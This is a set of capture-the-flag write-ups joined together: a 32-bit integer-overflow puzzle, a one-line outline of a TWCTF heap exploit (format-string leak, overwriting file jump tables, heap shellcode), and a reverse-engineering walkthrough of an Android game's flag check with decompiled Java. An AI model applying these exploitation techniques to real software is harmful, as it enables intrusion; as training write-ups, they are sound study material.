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|
Let's see what we have here
```'Demon Guard Flageon: Who dares to disturb my slumber?...A human?what is your name human?
You: yes
Demon Guard Flageon: Listen close, yes. To pass through you must give me a key of certain shape and size. I do not expect mere mortals to pass this test and win the Flag of Life. So here is a hint: the shape of the key is a square. But I will not tell you the size. You have 3 tries!
| How lucky! Look in your backpack. You have a square-key-making device. | huh... weird thing to carry around if you ask me. | Anyways. | The problem is the device needs the edge length as input to make the key...
Input edge length: 1
*mechanical whirring*...*pop*
Demon Guard Flageon: The size of your key is off by 1 sq cm. You have 2 more attempts left
Input edge length: 5
*mechanical whirring*...*pop*
Demon Guard Flageon: The size of your key is off by 25 sq cm. You have 1 more attempts left
Input edge length: 9
*mechanical whirring*...*pop*
Demon Guard Flageon: The size of your key is off by 81 sq cm. You have 0 more attempts left
```
Seems like we need to reach the size of 0 somehow, let's see what we are able to do
```'Demon Guard Flageon: Who dares to disturb my slumber?...A human?what is your name human?
You: kokos
Demon Guard Flageon: Listen close, kokos. To pass through you must give me a key of certain shape and size. I do not expect mere mortals to pass this test and win the Flag of Life. So here is a hint: the shape of the key is a square. But I will not tell you the size. You have 3 tries!
| How lucky! Look in your backpack. You have a square-key-making device. | huh... weird thing to carry around if you ask me. | Anyways. | The problem is the device needs the edge length as input to make the key...
Input edge length: 0
| Device only takes positive integers as input |
Input edge length: -1
| Device only takes positive integers as input |
Input edge length: 50000
*mechanical whirring*...*pop*
Demon Guard Flageon: The size of your key is off by -1794967296 sq cm. You have 0 more attempts left
```
Whoopa seems like we have an 32bit integer overflow here. Knowing that sqrt(4294967295) ~= 65536, we should have everything needed to solve this challenge.
```'Demon Guard Flageon: Who dares to disturb my slumber?...A human?what is your name human?
You: kokos
Demon Guard Flageon: Listen close, kokos. To pass through you must give me a key of certain shape and size. I do not expect mere mortals to pass this test and win the Flag of Life. So here is a hint: the shape of the key is a square. But I will not tell you the size. You have 3 tries!
| How lucky! Look in your backpack. You have a square-key-making device. | huh... weird thing to carry around if you ask me. | Anyways. | The problem is the device needs the edge length as input to make the key...
Input edge length: 65536
*mechanical whirring*...*pop*
Demon Guard Flageon: Congratulation! You have completed this task. The Flag of Life is now your's
=============================================== | darkCTF{-2147483648_c0m3s_aft3r_2147483647} | ===============================================```
Nice :) |
## tl;dr
+ Leak with Format String bug.+ Use the arbitrary heap pointer write to overwrite `__GI__IO_file_jumps`.+ Inject shellode in heap and get code execution in `dfprintf`.
Link To A Detailed Writeup: [Link](https://blog.bi0s.in/2020/09/22/Pwn/twctf20-smash/) |
# prehistoric mario> Category: Reverse Engineering
> Difficulty: Medium
> Author: 0x4d5a
Fred Flintstone was the real OG. And he played mario, at least thats how I imagine it.
Anyway, Fred is occupied. Help his dino to trigger the right boxes. Flag is all Caps.
> Challenge Files:prehistoric-mario.apk
# Writeup
Used tools: - https://github.com/vaibhavpandeyvpz/apkstudio.git- https://bintray.com/skylot/jadx/releases/v1.1.0#files
I used apkstudio to decompile the apk, from doing an initial analysis the code that stood out was the `MyPlatformer` class, which was a `.smali` file. As I don't like to suffer I used jadx to decompile the `.smali` to `.java` code.
After analyzing the code I conclude that there were 2 ways of solving this challenge, the first which was maybe the intended way and the second one which I like to call "Hell no just give that flag". I would like to say I went with the first method but I didn't. In any case doing things by the book we were supposed to understand the sequence of the `?` blocks and configure the proper colors on each available one, then finally we would need to find a different tile (the 1337 rainbow tile) that would trigger the check_flag and if all was ok the map would be reloaded to the final map containing the flag.
The key function of this challenge is this function:
```javaprivate void checkFlag() { MessageDigest messageDigest; int intValue; byte[] bArr = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; TiledMapTileLayer tiledMapTileLayer = this.map.getLayers().get("questionmarks"); int i = 0; int i2 = 0; while (i < 100) { int i3 = i2; for (int i4 = 0; i4 < 100; i4++) { TiledMapTileLayer.Cell cell = tiledMapTileLayer.getCell(i, i4); if (!(cell == null || !cell.getTile().getProperties().containsKey("questionmarkType") || (intValue = ((Integer) cell.getTile().getProperties().get("questionmarkType")).intValue()) == 1337)) { bArr[i3] = (byte) intValue; i3++; } } i++; i2 = i3; } try { messageDigest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); messageDigest = null; } messageDigest.update(bArr); messageDigest.update("P4ssw0rdS4lt".getBytes()); if (toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) { try { messageDigest.update(bArr); messageDigest.update("P4ssw0rdS4lt".getBytes()); messageDigest.update(bArr); byte[] digest = messageDigest.digest(); byte[] decode = Base64Coder.decode(Gdx.files.internal("flag_enc").readString()); SecretKeySpec secretKeySpec = new SecretKeySpec(digest, 0, digest.length, "RC4"); Cipher instance = Cipher.getInstance("RC4"); instance.init(2, secretKeySpec, instance.getParameters()); String str = new String(instance.doFinal(decode)); FileHandle local = Gdx.files.local("map_flag.tmx"); local.writeString(str, false); Gdx.files.local("tileSet.png").writeBytes(Base64Coder.decode("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T5/+BQOY8/xvJtwPAAADAFBMVEUAAAAZGRkXPDQoJygnOzw6OjoNUisGWzUaSDcVWjUDbjgpSD0qUj44RD4kZzwOcUUZf2QsTEAsVkA0S0M1WEc+WlAtZ0EvcUI5Yks+YVAweEMyfFpBOz5SHmlVIm1oN3VIR0dIWElBW1NWWEtYV1lcWmFDZktHaFhSYE9ZZVROb2BSbGJZd2lmV01qXFVxXFdiXWBsYlloc119Y0t1ZFh6eVRqaWlqdWdlfXR8bGF0aXF6cmd6eXk5NokFV70MZb4pU50rW6EpY543dKQHUsERaMQlb8tHSY9JeqwSjDIjkjwmoz4BkkUTgmEFpEsnjEEmlEAyh0Q0mEYggWYnqEUns0o2p0c5t0o9slE7xUs91E1KlFdJsFB9ik5phHd8hG1win5itV5otWRLwlBiyl1owWF5yGx4xnJ712p94Ws9gKZNg69ujYB1jIJ8k4hpk7xxmsGKNBqmLBi9OyOVTR6cVCGxVRirVii1fxi2cjaIakyCaFuFdV+UbUWXcEaXd1iAbmGHdWiIfHWRfW6VfHOkdkSifHnCPiPDWSDLbzmOfICKniqOri25ihS4tROnuzqFl1SKgm2NgnmMl26Xg2yXhXWUmGSWl3aNsU2Oo3GHsW2NuXKSo2eQrHOesn2pgVi7hUq1iVimh2eii3ulkn20jGG4mHepq3ukvGWtvXC0vHuVyjK5zhSoyTiSxEiKyHGD126H2XGU13eF5XGa5Hq3zUKvxG+i8H7HmRvViTLapCT9lRHskSfspy7IjEjDjVLMkk/Xk0XYnVnRnXHap2vgnVDtolHgpmHF0xrc0STY5CLi7CbF3EfP40yFhISGk4qInJOWiYObkomXl5eMoZeTp52mjYaoj5WploOmm5OzjYixnIe1mJmllaKvo4qqopq2o4y7qJK7uYWnpqa0q6Wyq7G7squ2tra3wben74GT//+t///CrJXEvY7HspnUoYXVsojQs5zMq6XJrbDOvKbGvbLRvaXEvcTSwarayLHhx6vszbHMyszO///8/f0AAADTgYy9AAABAHRSTlP///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////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"), false); TmxMapLoader tmxMapLoader = new TmxMapLoader(new LocalFileResolver()); tmxMapLoader.getDependencies("", local, (BaseTmxMapLoader.Parameters) null); AssetManager assetManager = new AssetManager(new LocalFileResolver()); assetManager.load("tileSet.png", Texture.class); assetManager.finishLoading(); tmxMapLoader.loadAsync(assetManager, "map_flag.tmx", local, (TmxMapLoader.Parameters) null); this.map.dispose(); this.map = tmxMapLoader.loadSync((AssetManager) null, (String) null, (FileHandle) null, (TmxMapLoader.Parameters) null); this.renderer = new OrthogonalTiledMapRenderer(this.map, 0.0625f); } catch (Exception e2) { e2.printStackTrace(); } } }
```
Enough about what we should have done, onto what I actually did.
Looking at the function above, we can see an initial check that is being constructed based on the questionmark titles status, we need to trigger the condition `if (toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) {` and for that we need to find out the correct tile configuration.
First point is, can we bruteforce the code to find out what we need to know ignoring the game?
Usually the answer to this question would be no, too big of a searching space to bruteforce. However, in this scenario it would help us understanding how many different values can a tile have, maybe the search space is not that huge after all.
```JavaMessageDigest messageDigest;int intValue;byte[] bArr = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};TiledMapTileLayer tiledMapTileLayer = this.map.getLayers().get("questionmarks");int i = 0;int i2 = 0;while (i < 100) { int i3 = i2; for (int i4 = 0; i4 < 100; i4++) { TiledMapTileLayer.Cell cell = tiledMapTileLayer.getCell(i, i4); if (!(cell == null || !cell.getTile().getProperties().containsKey("questionmarkType") || (intValue = ((Integer) cell.getTile().getProperties().get("questionmarkType")).intValue()) == 1337)) { bArr[i3] = (byte) intValue; i3++; } } i++; i2 = i3;}try { messageDigest = MessageDigest.getInstance("SHA-256");} catch (NoSuchAlgorithmException e) { e.printStackTrace(); messageDigest = null;}messageDigest.update(bArr);messageDigest.update("P4ssw0rdS4lt".getBytes());if (toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) {```
The answer to the above question is, we have 4 status only, we saw this on the code of the `update_koala` method, we could also double check this from the config files found on the directory `assets`, the `map.tmx`.
```Java if (cell2.getTile().getProperties().containsKey("questionmarkType")) { int intValue = ((Integer) cell2.getTile().getProperties().get("questionmarkType")).intValue(); if (intValue == 1337) { new Array(); checkFlag(); } else { if (intValue == 0) { intValue = 21; } else if (intValue == 21) { intValue = 97; } else if (intValue == 97) { intValue = 37; } else if (intValue == 37) { intValue = 0; } try { new TiledMapTileLayer.Cell(); cell2.setTile(this.map.getTileSets().getTile(this.questionMarkTileMapping.get(Integer.valueOf(intValue)).intValue())); tiledMapTileLayer.setCell((int) rectangle2.x, (int) rectangle2.y, cell2); } catch (Exception unused) { } } z = true;}```I'm couting 4 as the 1337 is what trigger the `check_flag` method and it's being ignored on the code.
